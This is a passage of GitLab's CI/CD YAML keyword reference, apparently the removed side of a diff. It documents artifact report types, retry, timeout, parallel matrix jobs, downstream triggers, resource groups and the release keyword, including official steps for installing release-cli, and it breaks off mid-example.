[`artifacts:reports`](#artifactsreports) -to collect test reports, code quality reports, and security reports from jobs. -It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). - -The test reports are collected regardless of the job results (success or failure). -You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration -date for their artifacts. - -If you also want the ability to browse the report output files, include the -[`artifacts:paths`](#artifactspaths) keyword. - -##### `artifacts:reports:api_fuzzing` **(ULTIMATE)** - -> - Introduced in GitLab 13.4. -> - Requires GitLab Runner 13.4 or later. - -The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md) -as artifacts. - -The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge -requests and the pipeline view. It's also used to provide data for security dashboards. - -##### `artifacts:reports:cobertura` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9. -> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. - -The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md). -The collected Cobertura coverage reports upload to GitLab as an artifact -and display in merge requests. - -Cobertura was originally developed for Java, but there are many -third party ports for other languages like JavaScript, Python, Ruby, and so on. - -##### `artifacts:reports:codequality` - -> - Introduced in GitLab 11.5. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -> - Requires GitLab Runner 11.5 and above. - -The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md) -as artifacts. - -The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests. - -##### `artifacts:reports:container_scanning` **(ULTIMATE)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md) -as artifacts. - -The collected Container Scanning report uploads to GitLab as an artifact and -is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)** - -> - Introduced in GitLab 13.4. -> - Requires GitLab Runner 13.4 or later. - -The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md) -as artifacts. - -The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge -requests and the pipeline view. It's also used to provide data for security dashboards. - -##### `artifacts:reports:dast` **(ULTIMATE)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md) -as artifacts. - -The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -##### `artifacts:reports:dependency_scanning` **(ULTIMATE)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md) -as artifacts. - -The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -##### `artifacts:reports:dotenv` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9. -> - Requires GitLab Runner 11.5 and later. - -The `dotenv` report collects a set of environment variables as artifacts. - -The collected variables are registered as runtime-created variables of the job, -which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes). - -There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules): - -- The variable key can contain only letters, digits, and underscores (`_`). -- The maximum size of the `.env` file is 5 KB. -- In GitLab 13.5 and older, the maximum number of inherited variables is 10. -- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913), - the maximum number of inherited variables is 20. -- Variable substitution in the `.env` file is not supported. -- The `.env` file can't have empty lines or comments (starting with `#`). -- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes. -- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported. - -##### `artifacts:reports:junit` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. -> - Requires GitLab Runner 11.2 and above. - -The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) -as artifacts. Although JUnit was originally developed in Java, there are many -third party ports for other -languages like JavaScript, Python, Ruby, and so on. - -See [Unit test reports](../unit_test_reports.md) for more details and examples. -Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool: - -```yaml -rspec: - stage: test - script: - - bundle install - - rspec --format RspecJunitFormatter --out rspec.xml - artifacts: - reports: - junit: rspec.xml -``` - -The collected Unit test reports upload to GitLab as an artifact and display in merge requests. - -If the JUnit tool you use exports to multiple XML files, specify -multiple test report paths within a single job to -concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`), -an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a -combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`). - -##### `artifacts:reports:license_scanning` **(ULTIMATE)** - -> - Introduced in GitLab 12.8. -> - Requires GitLab Runner 11.5 and above. - -The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md) -as artifacts. - -The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security -dashboards. - -##### `artifacts:reports:load_performance` **(PREMIUM)** - -> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. -> - Requires GitLab Runner 11.5 and above. - -The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md) -as artifacts. - -The report is uploaded to GitLab as an artifact and is -shown in merge requests automatically. - -##### `artifacts:reports:metrics` **(PREMIUM)** - -> Introduced in GitLab 11.10. - -The `metrics` report collects [Metrics](../metrics_reports.md) -as artifacts. - -The collected Metrics report uploads to GitLab as an artifact and displays in merge requests. - -##### `artifacts:reports:browser_performance` **(PREMIUM)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. -> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0. - -The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) -as artifacts. - -The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests. - -##### `artifacts:reports:requirements` **(ULTIMATE)** - -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1. -> - Requires GitLab Runner 11.5 and above. - -The `requirements` report collects `requirements.json` files as artifacts. - -The collected Requirements report uploads to GitLab as an artifact and -existing [requirements](../../user/project/requirements/index.md) are -marked as Satisfied. - -##### `artifacts:reports:sast` - -> - Introduced in GitLab 11.5. -> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3. -> - Requires GitLab Runner 11.5 and above. - -The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md) -as artifacts. - -The collected SAST report uploads to GitLab as an artifact and is summarized -in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -##### `artifacts:reports:secret_detection` - -> - Introduced in GitLab 13.1. -> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab - 13.3. -> - Requires GitLab Runner 11.5 and above. - -The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md) -as artifacts. - -The collected Secret Detection report is uploaded to GitLab as an artifact and summarized -in the merge requests and pipeline view. It's also used to provide data for security -dashboards. - -##### `artifacts:reports:terraform` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0. -> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. - -The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform -plan report uploads to GitLab as an artifact and displays -in merge requests. For more information, see -[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md). - -#### `artifacts:untracked` - -Use `artifacts:untracked` to add all Git untracked files as artifacts (along -with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration -in the repository's `.gitignore` file. - -Send all Git untracked files: - -```yaml -artifacts: - untracked: true -``` - -Send all Git untracked files and files in `binaries`: - -```yaml -artifacts: - untracked: true - paths: - - binaries/ -``` - -Send all untracked files but [exclude](#artifactsexclude) `*.txt`: - -```yaml -artifacts: - untracked: true - exclude: - - "*.txt" -``` - -#### `artifacts:when` - -Use `artifacts:when` to upload artifacts on job failure or despite the -failure. - -`artifacts:when` can be set to one of the following values: - -1. `on_success` (default): Upload artifacts only when the job succeeds. -1. `on_failure`: Upload artifacts only when the job fails. -1. `always`: Always upload artifacts. Useful, for example, when - [uploading artifacts](../unit_test_reports.md#viewing-junit-screenshots-on-gitlab) required to - troubleshoot failing tests. - -For example, to upload artifacts only when a job fails: - -```yaml -job: - artifacts: - when: on_failure -``` - -### `coverage` - -Use `coverage` to configure how code coverage is extracted from the -job output. - -Regular expressions are the only valid kind of value expected here. So, using -surrounding `/` is mandatory to consistently and explicitly represent -a regular expression string. You must escape special characters if you want to -match them literally. - -For example: - -```yaml -job1: - script: rspec - coverage: '/Code coverage: \d+\.\d+/' -``` - -The coverage is shown in the UI if at least one line in the job output matches the regular expression. -If there is more than one matched line in the job output, the last line is used. -For the matched line, the first occurrence of `\d+(\.\d+)?` is the code coverage. -Leading zeros are removed. - -Coverage output from [child pipelines](../parent_child_pipelines.md) is not recorded -or displayed. Check [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/280818) -for more details. - -### `retry` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5, you can control which failures to retry on. - -Use `retry` to configure how many times a job is retried in -case of a failure. - -When a job fails, the job is processed again, -until the limit specified by the `retry` keyword is reached. - -If `retry` is set to `2`, and a job succeeds in a second run (first retry), it is not retried. -The `retry` value must be a positive integer, from `0` to `2` -(two retries maximum, three runs in total). - -The following example retries all failure cases: - -```yaml -test: - script: rspec - retry: 2 -``` - -By default, a job is retried on all failure cases. To have better control -over which failures to retry, `retry` can be a hash with the following keys: - -- `max`: The maximum number of retries. -- `when`: The failure cases to retry. - -To retry only runner system failures at maximum two times: - -```yaml -test: - script: rspec - retry: - max: 2 - when: runner_system_failure -``` - -If there is another failure, other than a runner system failure, the job -is not retried. - -To retry on multiple failure cases, `when` can also be an array of failures: - -```yaml -test: - script: rspec - retry: - max: 2 - when: - - runner_system_failure - - stuck_or_timeout_failure -``` - -Possible values for `when` are: - -<!-- - If you change any of the values below, make sure to update the `RETRY_WHEN_IN_DOCUMENTATION` - array in `spec/lib/gitlab/ci/config/entry/retry_spec.rb`. - The test there makes sure that all documented - values are valid as a configuration option and therefore should always - stay in sync with this documentation. ---> - -- `always`: Retry on any failure (default). -- `unknown_failure`: Retry when the failure reason is unknown. -- `script_failure`: Retry when the script failed. -- `api_failure`: Retry on API failure. -- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out. -- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed). -- `missing_dependency_failure`: Retry if a dependency is missing. -- `runner_unsupported`: Retry if the runner is unsupported. -- `stale_schedule`: Retry if a delayed job could not be executed. -- `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job. -- `archived_failure`: Retry if the job is archived and can't be run. -- `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks. -- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner. -- `data_integrity_failure`: Retry if there is a structural integrity problem detected. - -You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables. - -### `timeout` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3. - -Use `timeout` to configure a timeout for a specific job. For example: - -```yaml -build: - script: build.sh - timeout: 3 hours 30 minutes - -test: - script: rspec - timeout: 3h 30m -``` - -The job-level timeout can exceed the -[project-level timeout](../pipelines/settings.md#timeout) but can't -exceed the runner-specific timeout. - -### `parallel` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. - -Use `parallel` to configure how many instances of a job to run in parallel. -The value can be from 2 to 50. - -The `parallel` keyword creates N instances of the same job that run in parallel. -They are named sequentially from `job_name 1/N` to `job_name N/N`: - -```yaml -test: - script: rspec - parallel: 5 -``` - -Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` -[predefined CI/CD variable](../variables/README.md#predefined-cicd-variables) set. - -Different languages and test suites have different methods to enable parallelization. -For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) -and RSpec to run Ruby tests in parallel: - -```ruby -# Gemfile -source 'https://rubygems.org' - -gem 'rspec' -gem 'semaphore_test_boosters' -``` - -```yaml -test: - parallel: 3 - script: - - bundle - - bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL -``` - -WARNING: -Test Boosters reports usage statistics to the author. - -You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec -job split into three separate jobs. - -#### Parallel `matrix` jobs - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. - -Use `matrix:` to run a job multiple times in parallel in a single pipeline, -but with different variable values for each instance of the job. -There can be from 2 to 50 jobs. - -Jobs can only run in parallel if there are multiple runners, or a single runner is -[configured to run multiple jobs concurrently](#use-your-own-runners). - -Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/README.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value. - -```yaml -deploystacks: - stage: deploy - script: - - bin/deploy - parallel: - matrix: - - PROVIDER: aws - STACK: - - monitoring - - app1 - - app2 - - PROVIDER: ovh - STACK: [monitoring, backup, app] - - PROVIDER: [gcp, vultr] - STACK: [data, processing] -``` - -The following example generates 10 parallel `deploystacks` jobs, each with different values -for `PROVIDER` and `STACK`: - -```plaintext -deploystacks: [aws, monitoring] -deploystacks: [aws, app1] -deploystacks: [aws, app2] -deploystacks: [ovh, monitoring] -deploystacks: [ovh, backup] -deploystacks: [ovh, app] -deploystacks: [gcp, data] -deploystacks: [gcp, processing] -deploystacks: [vultr, data] -deploystacks: [vultr, processing] -``` - -The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). - -##### One-dimensional `matrix` jobs - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) in GitLab 13.5. - -You can also have one-dimensional matrices with a single job: - -```yaml -deploystacks: - stage: deploy - script: - - bin/deploy - parallel: - matrix: - - PROVIDER: [aws, ovh, gcp, vultr] -``` - -##### Parallel `matrix` trigger jobs - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270957) in GitLab 13.10. - -Use `matrix:` to run a [trigger](#trigger) job multiple times in parallel in a single pipeline, -but with different variable values for each instance of the job. - -```yaml -deploystacks: - stage: deploy - trigger: - include: path/to/child-pipeline.yml - parallel: - matrix: - - PROVIDER: aws - STACK: [monitoring, app1] - - PROVIDER: ovh - STACK: [monitoring, backup] - - PROVIDER: [gcp, vultr] - STACK: [data] -``` - -This example generates 6 parallel `deploystacks` trigger jobs, each with different values -for `PROVIDER` and `STACK`, and they create 6 different child pipelines with those variables. - -```plaintext -deploystacks: [aws, monitoring] -deploystacks: [aws, app1] -deploystacks: [ovh, monitoring] -deploystacks: [ovh, backup] -deploystacks: [gcp, data] -deploystacks: [vultr, data] -``` - -### `trigger` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. - -Use `trigger` to define a downstream pipeline trigger. When GitLab starts a `trigger` job, -a downstream pipeline is created. - -Jobs with `trigger` can only use a [limited set of keywords](../multi_project_pipelines.md#limitations). -For example, you can't run commands with [`script`](#script), [`before_script`](#before_script), -or [`after_script`](#after_script). - -You can use this keyword to create two different types of downstream pipelines: - -- [Multi-project pipelines](../multi_project_pipelines.md#creating-multi-project-pipelines-from-gitlab-ciyml) -- [Child pipelines](../parent_child_pipelines.md) - -[In GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/197140/) and later, you can -view which job triggered a downstream pipeline. In the [pipeline graph](../pipelines/index.md#visualize-pipelines), -hover over the downstream pipeline job. - -In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you -can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and -earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. -You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086). - -#### Basic `trigger` syntax for multi-project pipelines - -You can configure a downstream trigger by using the `trigger` keyword -with a full path to a downstream project: - -```yaml -rspec: - stage: test - script: bundle exec rspec - -staging: - stage: deploy - trigger: my/deployment -``` - -#### Complex `trigger` syntax for multi-project pipelines - -You can configure a branch name that GitLab uses to create -a downstream pipeline with: - -```yaml -rspec: - stage: test - script: bundle exec rspec - -staging: - stage: deploy - trigger: - project: my/deployment - branch: stable -``` - -To mirror the status from a triggered pipeline: - -```yaml -trigger_job: - trigger: - project: my/project - strategy: depend -``` - -To mirror the status from an upstream pipeline: - -```yaml -upstream_bridge: - stage: test - needs: - pipeline: other/project -``` - -#### `trigger` syntax for child pipeline - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7. - -To create a [child pipeline](../parent_child_pipelines.md), specify the path to the -YAML file that contains the configuration of the child pipeline: - -```yaml -trigger_job: - trigger: - include: path/to/child-pipeline.yml -``` - -Similar to [multi-project pipelines](../multi_project_pipelines.md#mirroring-status-from-triggered-pipeline), -it's possible to mirror the status from a triggered pipeline: - -```yaml -trigger_job: - trigger: - include: - - local: path/to/child-pipeline.yml - strategy: depend -``` - -##### Trigger child pipeline with generated configuration file - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9. - -You can also trigger a child pipeline from a [dynamically generated configuration file](../parent_child_pipelines.md#dynamic-child-pipelines): - -```yaml -generate-config: - stage: build - script: generate-ci-config > generated-config.yml - artifacts: - paths: - - generated-config.yml - -child-pipeline: - stage: test - trigger: - include: - - artifact: generated-config.yml - job: generate-config -``` - -The `generated-config.yml` is extracted from the artifacts and used as the configuration -for triggering the child pipeline. - -##### Trigger child pipeline with files from another project - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) in GitLab 13.5. - -To trigger child pipelines with files from another private project under the same -GitLab instance, use [`include:file`](#includefile): - -```yaml -child-pipeline: - trigger: - include: - - project: 'my-group/my-pipeline-library' - ref: 'main' - file: '/path/to/child-pipeline.yml' -``` - -#### Linking pipelines with `trigger:strategy` - -By default, the `trigger` job completes with the `success` status -as soon as the downstream pipeline is created. - -To force the `trigger` job to wait for the downstream (multi-project or child) pipeline to complete, use -`strategy: depend`. This setting makes the trigger job wait with a "running" status until the triggered -pipeline completes. At that point, the `trigger` job completes and displays the same status as -the downstream job. - -This setting can help keep your pipeline execution linear. In the following example, jobs from -subsequent stages wait for the triggered pipeline to successfully complete before -starting, which reduces parallelization. - -```yaml -trigger_job: - trigger: - include: path/to/child-pipeline.yml - strategy: depend -``` - -#### Trigger a pipeline by API call - -To force a rebuild of a specific branch, tag, or commit, you can use an API call -with a trigger token. - -The trigger token is different than the [`trigger`](#trigger) keyword. - -[Read more in the triggers documentation.](../triggers/README.md) - -### `interruptible` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3. - -Use `interruptible` to indicate that a running job should be canceled if made redundant by a newer pipeline run. -Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible -and safe to be cancelled. -This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-redundant-pipelines) -is enabled. - -When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true: - -- All jobs in the pipeline are set as interruptible. -- Any uninterruptible jobs have not started yet. - -Set jobs as interruptible that can be safely canceled once started (for instance, a build job). - -In the following example, a new pipeline run causes an existing running pipeline to be: - -- Canceled, if only `step-1` is running or pending. -- Not canceled, once `step-2` starts running. - -After an uninterruptible job starts running, the pipeline cannot be canceled. - -```yaml -stages: - - stage1 - - stage2 - - stage3 - -step-1: - stage: stage1 - script: - - echo "Can be canceled." - interruptible: true - -step-2: - stage: stage2 - script: - - echo "Can not be canceled." - -step-3: - stage: stage3 - script: - - echo "Because step-2 can not be canceled, this step can never be canceled, even though it's set as interruptible." - interruptible: true -``` - -### `resource_group` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15536) in GitLab 12.7. - -Sometimes running multiple jobs or pipelines at the same time in an environment -can lead to errors during the deployment. - -To avoid these errors, use the `resource_group` attribute to make sure that -the runner doesn't run certain jobs simultaneously. Resource groups behave similar -to semaphores in other programming languages. - -When the `resource_group` keyword is defined for a job in the `.gitlab-ci.yml` file, -job executions are mutually exclusive across different pipelines for the same project. -If multiple jobs belonging to the same resource group are enqueued simultaneously, -only one of the jobs is picked by the runner. The other jobs wait until the -`resource_group` is free. - -For example: - -```yaml -deploy-to-production: - script: deploy - resource_group: production -``` - -In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result, -you can ensure that concurrent deployments never happen to the production environment. - -You can define multiple resource groups per environment. For example, -when deploying to physical devices, you may have multiple physical devices. Each device -can be deployed to, but there can be only one deployment per device at any given time. - -The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces. -It can't start or end with `/`. - -For more information, see [Deployments Safety](../environments/deployment_safety.md). - -#### Pipeline-level concurrency control with Cross-Project/Parent-Child pipelines - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39057) in GitLab 13.9. - -You can define `resource_group` for downstream pipelines that are sensitive to concurrent -executions. The [`trigger` keyword](#trigger) can trigger downstream pipelines. The -[`resource_group` keyword](#resource_group) can co-exist with it. This is useful to control the -concurrency for deployment pipelines, while running non-sensitive jobs concurrently. - -The following example has two pipeline configurations in a project. When a pipeline starts running, -non-sensitive jobs are executed first and aren't affected by concurrent executions in other -pipelines. However, GitLab ensures that there are no other deployment pipelines running before -triggering a deployment (child) pipeline. If other deployment pipelines are running, GitLab waits -until those pipelines finish before running another one. - -```yaml -# .gitlab-ci.yml (parent pipeline) - -build: - stage: build - script: echo "Building..." - -test: - stage: test - script: echo "Testing..." - -deploy: - stage: deploy - trigger: - include: deploy.gitlab-ci.yml - strategy: depend - resource_group: AWS-production -``` - -```yaml -# deploy.gitlab-ci.yml (child pipeline) - -stages: - - provision - - deploy - -provision: - stage: provision - script: echo "Provisioning..." - -deployment: - stage: deploy - script: echo "Deploying..." -``` - -You must define [`strategy: depend`](#linking-pipelines-with-triggerstrategy) -with the `trigger` keyword. This ensures that the lock isn't released until the downstream pipeline -finishes. - -### `release` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2. - -Use `release` to create a [release](../../user/project/releases/index.md). -Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs) -to be available in your GitLab Runner Docker or shell executor. - -These keywords are supported: - -- [`tag_name`](#releasetag_name) -- [`description`](#releasedescription) -- [`name`](#releasename) (optional) -- [`ref`](#releaseref) (optional) -- [`milestones`](#releasemilestones) (optional) -- [`released_at`](#releasereleased_at) (optional) -- [`assets:links`](#releaseassetslinks) (optional) - -The release is created only if the job processes without error. If the Rails API -returns an error during release creation, the `release` job fails. - -#### `release-cli` Docker image - -You must specify the Docker image to use for the `release-cli`: - -```yaml -image: registry.gitlab.com/gitlab-org/release-cli:latest -``` - -#### `release-cli` for shell executors - -> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8. - -For GitLab Runner shell executors, you can download and install the `release-cli` manually for your [supported OS and architecture](https://release-cli-downloads.s3.amazonaws.com/latest/index.html). -Once installed, the `release` keyword should be available to you. - -**Install on Unix/Linux** - -1. Download the binary for your system, in the following example for amd64 systems: - - ```shell - curl --location --output /usr/local/bin/release-cli "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-linux-amd64" - ``` - -1. Give it permissions to execute: - - ```shell - sudo chmod +x /usr/local/bin/release-cli - ``` - -1. Verify `release-cli` is available: - - ```shell - $ release-cli -v - - release-cli version 0.6.0 - ``` - -**Install on Windows PowerShell** - -1. Create a folder somewhere in your system, for example `C:\GitLab\Release-CLI\bin` - - ```shell - New-Item -Path 'C:\GitLab\Release-CLI\bin' -ItemType Directory - ``` - -1. Download the executable file: - - ```shell - PS C:\> Invoke-WebRequest -Uri "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-windows-amd64.exe" -OutFile "C:\GitLab\Release-CLI\bin\release-cli.exe" - - Directory: C:\GitLab\Release-CLI - Mode LastWriteTime Length Name - ---- ------------- ------ ---- - d----- 3/16/2021 4:17 AM bin - - ``` - -1. Add the directory to your `$env:PATH`: - - ```shell - $env:PATH += ";C:\GitLab\Release-CLI\bin" - ``` - -1. Verify `release-cli` is available: - - ```shell - PS C:\> release-cli -v - - release-cli version 0.6.0 - ``` - -#### Use a custom SSL CA certificate authority - -You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, -which is used to verify the peer when the `release-cli` creates a release through the API using HTTPS with custom certificates. -The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the -[text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1) -or the `path/to/file` containing the certificate authority. -For example, to configure this value in the `.gitlab-ci.yml` file, use the following: - -```yaml -release: - variables: - ADDITIONAL_CA_CERT_BUNDLE: | - -----BEGIN CERTIFICATE----- - MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB - ... - jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs= - -----END CERTIFICATE----- - script: - - echo "Create release" - release: - name: 'My awesome release' - tag_name: '$CI_COMMIT_TAG' -``` - -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a -[custom variable in the UI](../variables/README.md#custom-cicd-variables), -either as a `file`, which requires the path to the certificate, or as a variable, -which requires the text representation of the certificate. - -#### `script` - -All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` -job can use the output from script commands, but you can use a placeholder script if -the script is not needed: - -```yaml -script: - - echo 'release job' -``` - -An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223856) exists to remove this requirement in an upcoming version of GitLab. - -A pipeline can have multiple `release` jobs, for example: - -```yaml -ios-release: - script: - - echo 'iOS release job' - release: - tag_name: v1.0.0-ios - description: 'iOS release v1.0.0' - -android-release: - script: - - echo 'Android release job' - release: - tag_name: v1.0.0-android - description: 'Android release v1.0.0' -``` - -#### `release:tag_name` - -You must specify a `tag_name` for the release. The tag can refer to an existing Git tag or -you can specify a new tag. - -When the specified tag doesn't exist in the repository, a new tag is created from the associated SHA of the pipeline. - -For example, when creating a release from a Git tag: - -```yaml -job: - release: - tag_name: $CI_COMMIT_TAG - description: 'Release description' -``` - -It is also possible for the release job to automatically create a new unique tag. In that case, -do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to -only run for tags. - -A semantic versioning example: - -```yaml -job: - release: - tag_name: ${MAJOR}_${MINOR}_${REVISION} - description: 'Release description' -``` - -- The release is created only if the job's main script succeeds. -- If the release already exists, it is not updated and the job with the `release` keyword fails. -- The `release` section executes after the `script` tag and before the `after_script`. - -#### `release:name` - -The release name. If omitted, it is populated with the value of `release: tag_name`. - -#### `release:description` - -Specifies the long description of the release. You can also specify a file that contains the -description. - -##### Read description from a file - -> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/67) in GitLab 13.7. - -You can specify a file in `$CI_PROJECT_DIR` that contains the description. The file must be relative -to the project directory (`$CI_PROJECT_DIR`), and if the file is a symbolic link it can't reside -outside of `$CI_PROJECT_DIR`. The `./path/to/file` and filename can't contain spaces. - -```yaml -job: - release: - tag_name: ${MAJOR}_${MINOR}_${REVISION} - description: './path/to/CHANGELOG.md' -``` - -#### `release:ref` - -If the `release: tag_name` doesn't exist yet, the release is created from `ref`. -`ref` can be a commit SHA, another tag name, or a branch name. - -#### `release:milestones` - -The title of each milestone the release is associated with. - -#### `release:released_at` - -The date and time when the release is ready. Defaults to the current date and time if not -defined. Should be enclosed in quotes and expressed in ISO 8601 format. - -```json -released_at: '2021-03-15T08:00:00Z' -``` - -#### `release:assets:links` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271454) in GitLab 13.12. - -Include [asset links](../../user/project/releases/index.md#release-assets) in the release. - -NOTE: -Requires `release-cli` version v0.4.0 or higher. - -```yaml -assets: - links: - - name: 'asset1' - url: 'https://example.com/assets/1' - - name: 'asset2' - url: 'https://example.com/assets/2' - filepath: '/pretty/url/1' # optional - link_type: 'other' # optional -``` - -#### Complete example for `release` - -If you combine the previous examples for `release`, you get two options, depending on how you generate the -tags. You can't use these options together, so choose one: - -- To create a release when you push a Git tag, or when you add a Git tag - in the UI by going to **Repository > Tags**: - - ```yaml - release_job: - stage: release - image: registry.gitlab.com/gitlab-org/release-cli:latest - rules: - - if: $CI_COMMIT_TAG # Run this job when a tag is created manually - script: - - echo 'running release_job' - release: - name: 'Release 